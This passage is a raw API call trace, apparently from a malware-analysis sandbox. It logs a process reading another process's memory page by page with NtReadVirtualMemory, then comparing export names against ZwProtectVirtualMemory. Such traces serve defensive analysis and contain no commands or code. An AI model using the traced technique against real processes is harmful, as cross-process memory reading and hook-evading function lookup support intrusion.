NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d0000, Buffer=0x9d30000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d30000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d1000, Buffer=0x9d31000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d31000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d2000, Buffer=0x9d32000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d32000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d3000, Buffer=0x9d33000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d33000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d4000, Buffer=0x9d34000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d34000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d5000, Buffer=0x9d35000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d35000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.521] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d6000, Buffer=0x9d36000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d36000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.522] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d7000, Buffer=0x9d37000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d37000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.522] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d8000, Buffer=0x9d38000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d38000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d9000, Buffer=0x9d39000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d39000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773da000, Buffer=0x9d3a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773db000, Buffer=0x9d3b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773dc000, Buffer=0x9d3c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773dd000, Buffer=0x9d3d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773de000, Buffer=0x9d3e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773df000, Buffer=0x9d3f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.523] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e0000, Buffer=0x9d40000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d40000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e1000, Buffer=0x9d41000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d41000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e2000, Buffer=0x9d42000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d42000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e3000, Buffer=0x9d43000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d43000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e4000, Buffer=0x9d44000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d44000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e5000, Buffer=0x9d45000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d45000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e6000, Buffer=0x9d46000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d46000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.524] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e7000, Buffer=0x9d47000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d47000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e8000, Buffer=0x9d48000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d48000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e9000, Buffer=0x9d49000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d49000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ea000, Buffer=0x9d4a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773eb000, Buffer=0x9d4b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ec000, Buffer=0x9d4c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ed000, Buffer=0x9d4d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.525] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ee000, Buffer=0x9d4e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ef000, Buffer=0x9d4f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f0000, Buffer=0x9d50000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d50000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f1000, Buffer=0x9d51000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d51000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f2000, Buffer=0x9d52000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d52000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f3000, Buffer=0x9d53000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d53000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f4000, Buffer=0x9d54000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d54000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.526] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f5000, Buffer=0x9d55000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d55000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f6000, Buffer=0x9d56000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d56000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f7000, Buffer=0x9d57000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d57000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f8000, Buffer=0x9d58000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d58000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f9000, Buffer=0x9d59000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d59000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fa000, Buffer=0x9d5a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fb000, Buffer=0x9d5b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.527] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fc000, Buffer=0x9d5c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fd000, Buffer=0x9d5d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fe000, Buffer=0x9d5e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ff000, Buffer=0x9d5f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77400000, Buffer=0x9d60000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d60000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77401000, Buffer=0x9d61000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d61000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77402000, Buffer=0x9d62000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d62000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.528] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77403000, Buffer=0x9d63000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d63000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77404000, Buffer=0x9d64000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d64000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77405000, Buffer=0x9d65000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d65000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77406000, Buffer=0x9d66000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d66000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77407000, Buffer=0x9d67000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d67000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77408000, Buffer=0x9d68000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d68000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77409000, Buffer=0x9d69000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d69000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.529] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740a000, Buffer=0x9d6a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740b000, Buffer=0x9d6b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740c000, Buffer=0x9d6c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740d000, Buffer=0x9d6d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740e000, Buffer=0x9d6e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740f000, Buffer=0x9d6f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77410000, Buffer=0x9d70000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d70000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.530] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77411000, Buffer=0x9d71000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d71000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77412000, Buffer=0x9d72000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d72000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77413000, Buffer=0x9d73000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d73000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77414000, Buffer=0x9d74000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d74000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77415000, Buffer=0x9d75000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d75000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77416000, Buffer=0x9d76000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d76000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77417000, Buffer=0x9d77000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d77000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77418000, Buffer=0x9d78000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d78000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.531] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77419000, Buffer=0x9d79000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d79000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741a000, Buffer=0x9d7a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741b000, Buffer=0x9d7b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741c000, Buffer=0x9d7c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741d000, Buffer=0x9d7d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741e000, Buffer=0x9d7e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741f000, Buffer=0x9d7f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.532] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77420000, Buffer=0x9d80000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d80000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77421000, Buffer=0x9d81000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d81000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77422000, Buffer=0x9d82000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d82000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77423000, Buffer=0x9d83000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d83000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77424000, Buffer=0x9d84000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d84000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77425000, Buffer=0x9d85000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d85000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77426000, Buffer=0x9d86000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d86000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77427000, Buffer=0x9d87000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d87000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.533] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77428000, Buffer=0x9d88000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d88000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77429000, Buffer=0x9d89000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d89000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742a000, Buffer=0x9d8a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8a000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742b000, Buffer=0x9d8b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8b000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742c000, Buffer=0x9d8c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8c000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742d000, Buffer=0x9d8d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8d000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742e000, Buffer=0x9d8e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8e000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742f000, Buffer=0x9d8f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8f000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77430000, Buffer=0x9d90000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d90000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77431000, Buffer=0x9d91000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d91000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.534] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77432000, Buffer=0x9d92000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d92000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.535] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77433000, Buffer=0x9d93000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d93000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.535] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77434000, Buffer=0x9d94000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d94000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.535] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77435000, Buffer=0x9d95000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d95000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.535] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77436000, Buffer=0x9d96000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d96000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.535] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77437000, Buffer=0x9d97000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d97000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.535] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77438000, Buffer=0x9d98000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d98000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.547] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0044.547] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0044.547] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0044.547] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 